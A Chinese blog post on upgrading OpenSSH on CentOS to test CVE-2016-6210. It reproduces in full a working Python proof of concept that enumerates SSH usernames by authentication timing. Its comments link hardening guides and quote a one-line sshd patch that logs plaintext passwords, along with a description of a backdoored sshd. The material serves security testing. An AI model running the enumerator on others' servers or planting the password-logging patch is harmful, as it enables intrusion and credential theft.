=Start=
缘由:
前段时间出了一个OpenSSHD的用户枚举漏洞,实际测试了一下,有一定效果,但是不稳定,而且需要自己提供「用户名字典」,实用价值有待考证。
因为漏洞测试是在当前最新版本opensshd-7.2p2上进行的测试(根据原理来看早期opensshd应该也会受到影响),但CentOS 6.x默认的OpenSSHD版本一般在5.x,所以需要升级服务器的OpenSSHD版本进行测试,本来应该是很简单的一个过程的,但是中间因为粗心大意还是踩了一些坑,在此记录一下,方便以后查阅。
正文:
[root@opensshd ~]# wget http://openbsd.hk/pub/OpenBSD/OpenSSH/portable/openssh-7.2p2.tar.gz #下载源码 [root@opensshd ~]# tar zxf openssh-7.2p2.tar.gz [root@opensshd ~]# cd openssh-7.2p2/ [root@opensshd openssh-7.2p2]# ./configure && make && make install #直接「./configure」的话,默认是安装到了 '/usr/local' 目录下 [root@opensshd openssh-7.2p2]# ./configure --prefix=/usr && make && make install #手动指定「--prefix」将覆盖系统正在使用的sshd
坑1:
# vim /usr/etc/sshd HostKey /usr/local/etc/ssh_host_rsa_key HostKey /usr/local/etc/ssh_host_dsa_key_config # service sshd restart
坑2:
# vim /usr/etc/sshd PermitRootLogin yes # service sshd restart
避免入坑的办法:
先备份程序&配置文件
先多开几个终端防止误操作后无法登录
参考以往的配置更新 sshd_config 配置文件
测试 CVE-2016-6210 漏洞的示例代码:
#!/usr/bin/python # # CVEs: CVE-2016-6210 (Credits for this go to Eddie Harari) # # Author: 0_o -- null_null # nu11.nu11 [at] yahoo.com # Oh, and it is n-u-one-one.n-u-one-one, no l's... # Wonder how the guys at packet storm could get this wrong :( # # Date: 2016-07-19 # # Purpose: User name enumeration against SSH daemons affected by CVE-2016-6210. # # Prerequisites: Network access to the SSH daemon. # # DISCLAIMER: Use against your own hosts only! Attacking stuff you are not # permitted to may put you in big trouble! # # And now - the fun part :-) # https://www.exploit-db.com/exploits/40136/ import paramiko import time import numpy import argparse import sys args = None class bcolors: HEADER = '\033[95m' OKBLUE = '\033[94m' OKGREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' BOLD = '\033[1m' UNDERLINE = '\033[4m' def get_args(): parser = argparse.ArgumentParser() group = parser.add_mutually_exclusive_group() parser.add_argument("host", type = str, help = "Give SSH server address like ip:port or just by ip") group.add_argument("-u", "--user", type = str, help = "Give a single user name") group.add_argument("-U", "--userlist", type = str, help = "Give a file containing a list of users") parser.add_argument("-e", "--enumerated", action = "store_true", help = "Only show enumerated users") parser.add_argument("-s", "--silent", action = "store_true", help = "Like -e, but just the user names will be written to stdout (no banner, no anything)") parser.add_argument("--bytes", default = 50000, type = int, help = "Send so many BYTES to the SSH daemon as a password") parser.add_argument("--samples", default = 12, type = int, help = "Collect so many SAMPLES to calculate a timing baseline for authenticating non-existing users") parser.add_argument("--factor", default = 3.0, type = float, help = "Used to compute the upper timing boundary for user enumeration") parser.add_argument("--trials", default = 1, type = int, help = "try to authenticate user X for TRIALS times and compare the mean of auth timings against the timing boundary") args = parser.parse_args() return args def get_banner(host, port): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: ssh.connect(hostname = host, port = port, username = 'invalidinvalidinvalid', password = 'invalidinvalidinvalid') except: banner = ssh.get_transport().remote_version ssh.close() return banner def connect(host, port, user): global args starttime = 0.0 endtime = 0.0 p = 'B' * int(args.bytes) ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) starttime=time.clock() try: ssh.connect(hostname = host, port = port, username = user, password = p, look_for_keys = False, gss_auth = False, gss_kex = False, gss_deleg_creds = False, gss_host = None, allow_agent = False) except: endtime=time.clock() finally: ssh.close() return endtime - starttime def main(): global args args = get_args() if not args.silent: print("\n\nUser name enumeration against SSH daemons affected by CVE-2016-6210") if not args.silent: print("Created and coded by 0_o (nu11.nu11 [at] yahoo.com), PoC by Eddie Harari\n\n") if args.host: host = args.host.split(":")[0] try: port = int(args.host.split(":")[1]) except IndexError: port = 22 users = [] if args.user: users.append(args.user) elif args.userlist: with open(args.userlist, "r") as f: users = f.readlines() else: if not args.silent: print(bcolors.FAIL + "[!] " + bcolors.ENDC + "You must give a user or a list of users") sys.exit() if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Testing SSHD at: " + bcolors.BOLD + str(host) + ":" + str(port) + bcolors.ENDC + ", Banner: " + bcolors.BOLD + get_banner(host, port) + bcolors.ENDC) # get baseline timing for non-existing users... baseline_samples = [] baseline_mean = 0.0 baseline_deviation = 0.0 if not args.silent: sys.stdout.write(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Getting baseline timing for authenticating non-existing users") for i in range(1, int(args.samples) + 1): if not args.silent: sys.stdout.write('.') if not args.silent: sys.stdout.flush() sample = connect(host, port, 'foobar-bleh-nonsense' + str(i)) baseline_samples.append(sample) if not args.silent: sys.stdout.write('\n') # remove the biggest and smallest value baseline_samples.sort() baseline_samples.pop() baseline_samples.reverse() baseline_samples.pop() # do math baseline_mean = numpy.mean(numpy.array(baseline_samples)) baseline_deviation = numpy.std(numpy.array(baseline_samples)) if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Baseline mean for host " + host + " is " + str(baseline_mean) + " seconds.") if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Baseline variation for host " + host + " is " + str(baseline_deviation) + " seconds.") upper = baseline_mean + float(args.factor) * baseline_deviation if not args.silent: print(bcolors.WARNING + "[*] " + bcolors.ENDC + "Defining timing of x < " + str(upper) + " as non-existing user.") if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Testing your users...") # # Get timing for the given user name... # for u in users: user = u.strip() enum_samples = [] enum_mean = 0.0 for t in range(0, int(args.trials)): timeval = connect(host, port, user) enum_samples.append(timeval) enum_mean = numpy.mean(numpy.array(enum_samples)) if (enum_mean < upper): if not (args.enumerated or args.silent) : print(bcolors.FAIL + "[-] " + bcolors.ENDC + user + " - timing: " + str(enum_mean)) else: if not args.silent: print(bcolors.OKGREEN + "[+] " + bcolors.ENDC + user + " - timing: " + str(enum_mean)) else: print(user) if __name__ == "__main__": main()
参考链接:
- CentOS 6.4下OpenSSH升级到6.7操作过程详解
- http://seclists.org/fulldisclosure/2016/Jul/51
- http://bobao.360.cn/learning/detail/2904.html
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6210 #** RESERVED **
- https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-6210 #CVE ID Not Found
- https://www.exploit-db.com/exploits/40136/
=END=
《 “升级CentOS服务器的OpenSSHD版本” 》 有 13 条评论
给OpenSSH增加密码记录的patch
https://github.com/w8rbt/sshlog/blob/master/sshlog.patch
OpenSSH 安全配置手册
https://wiki.mozilla.org/Security/Guidelines/OpenSSH
Top 20 OpenSSH Server Best Security Practices #全面
https://www.cyberciti.biz/tips/linux-unix-bsd-openssh-server-best-practices.html
https://www.howtoforge.com/tutorial/openssh-security-best-practices/
OpenSSH security and hardening #全面
https://linux-audit.com/audit-and-harden-your-ssh-configuration/
Linux安全运维丨OpenSSH安全浅析
http://www.freebuf.com/news/153364.html
https://linux.die.net/man/1/ssh
重编译安装OpenSSH记录登录密码
http://reboot.cf/2018/03/12/%E9%87%8D%E7%BC%96%E8%AF%91OpebSSH%E8%AE%B0%E5%BD%95%E7%99%BB%E5%BD%95%E5%AF%86%E7%A0%81/
`
编辑 auth-passwd.c 文件,在 auth_password 函数中添加:
logit(“username: %s password: %s”, authctxt->user, password);
查看记录的登录密码
cat /var/log/auth.log
`
OpenSSH < 6.6 SFTP 命令执行漏洞EXP
https://www.exploit-db.com/exploits/45001/
a patched sshd for red team activities
https://github.com/360-A-Team/openssh-7.6p1-patch
`
记录密码(password logging)
可使用后门密码登录(logon using a backdoor password)
对于w和last命令不可见(logon through the patched sshd results in nothing in output from last and w)
`
OpenSSH 用户名枚举 POC
http://www.openwall.com/lists/oss-security/2018/08/16/1
如何检测 OpenSSH 用户名枚举行为
https://blog.rootshell.be/2018/08/16/detecting-ssh-username-enumeration/
massh-enum – OpenSSH 2.3-7.4 版本用户名枚举工具
https://github.com/trimstray/massh-enum
Open Sourcing HASSH (A profiling method for SSH Clients and Servers)
https://engineering.salesforce.com/open-sourcing-hassh-abed3ae5044c
https://github.com/salesforce/hassh
ForSSHe – 基于 OpenSSH 的修改版后门
https://www.welivesecurity.com/2018/12/05/dark-side-of-the-forsshe/
SSH 常用攻击工具及资源整合
https://twitter.com/i/web/status/1079726794524315649
sshd 中文手册
http://www.jinbuguo.com/openssh/sshd.html
OpenSSH/Logging and Troubleshooting
https://en.wikibooks.org/wiki/OpenSSH/Logging_and_Troubleshooting
sshd(8) – Linux man page
https://linux.die.net/man/8/sshd
Decrypting OpenSSH sessions for fun and profit
https://research.nccgroup.com/2020/11/11/decrypting-openssh-sessions-for-fun-and-profit/